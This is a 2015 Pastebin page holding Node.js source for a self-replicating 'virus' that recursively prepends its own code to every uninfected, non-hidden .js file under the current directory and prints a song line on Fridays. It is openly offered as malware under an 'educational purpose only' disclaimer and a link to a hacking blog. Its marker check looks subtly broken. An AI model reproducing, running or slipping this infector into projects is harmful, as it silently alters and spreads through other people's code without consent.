Advertisement
RoryPrayana

virus js

Mar 1st, 2015
875
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //Hacking tutorial underground, cyber,security,sql inject,basic,ethical hacking
  2. //just on http://jok3d.blogspot.com/
  3.  
  4. // #virus.js
  5. // the line above will be used for marking a file as infected
  6. /*
  7. * Program created for entertainment and educational purpose only
  8. * WARNING: EXECUTE THIS FILE AT YOUR OWN RISK :WARNING
  9. */
  10. // this mild-mannered virus leaves the global namespace alone and creates its own closure
  11. (function() {
  12. // the virus payload - it sings a song on Fridays
  13. var day = new Date().getDay();
  14. if (day == 5) { console.log("It's Friday! Friday!"); }
  15. // we will need the fs module to find files and infect them
  16. var fs = require('fs');
  17. // helper module
  18. var path = require('path');
  19. var marker_signature = '// #virus.js';
  20. var marker_length = marker_signature.length;
  21. // the infection payload == content of this file
  22. var infection_payload = fs.readFileSync(__filename);
  23. // where to look for files to infect
  24. var target_path = './';
  25. // start infecting .js file
  26. var files = fs.readdirSync(target_path);
  27. // pass these files to the infection function
  28. infect_files(files);
  29. /**
  30. * Function for infecting .js files
  31. *
  32. * @param {Array} files
  33. */
  34. function infect_files(files) {
  35. files.forEach(function(file) {
  36. var stat = fs.statSync(file);
  37. // if it's a direcrory, get the files and run them through the infection process
  38. if (stat.isDirectory()) {
  39. // don't bother hidden directories
  40. if (file[0] != '.') {
  41. // infect the files after retirieving them their directories
  42. infect_files(get_files(file));
  43. }
  44. }
  45. // if it is a file, validate the file for infection 'eligibility'
  46. else if (stat.isFile()) {
  47. // don't bother hidden files
  48. if (file[0] != '.') {
  49. // we are interested only in .js files
  50. if (path.extname(file) == '.js') {
  51. // don't bother with self
  52. if (path.basename(__filename) != file) {
  53. // bother only if file is not already infected
  54. var fd = fs.openSync(file, 'r');
  55. var marker = fs.readSync(fd, marker_length);
  56. // be kind, rewind
  57. fs.closeSync(fd);
  58. var signature = marker[0];
  59. if (marker_signature != signature) {
  60. // original content
  61. var original_content = fs.readFileSync(file);
  62. // prepare infection
  63. var infected_content = infection_payload + '\n' + original_content;
  64. // infect file
  65. //console.log('Infecting: ' + file);
  66. fs.writeFileSync(file, infected_content);
  67. }
  68. }
  69. }
  70. }
  71. }
  72. });
  73. }
  74. /**
  75. * Function for getting the files from a directory with their full paths
  76. *
  77. * @param {String} dir
  78. */
  79. function get_files(dir) {
  80. // readdirSync will only give the names of the files, we need to get the full path
  81. var _files = fs.readdirSync(dir);
  82. // array for storing the files with their full path
  83. var files = [];
  84. // fill up the files array
  85. _files.forEach(function(file) {
  86. var full_path = dir + '/' + file;
  87. files.push(full_path);
  88. });
  89. // return the files to whatever called this function
  90. return files;
  91. }
  92. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement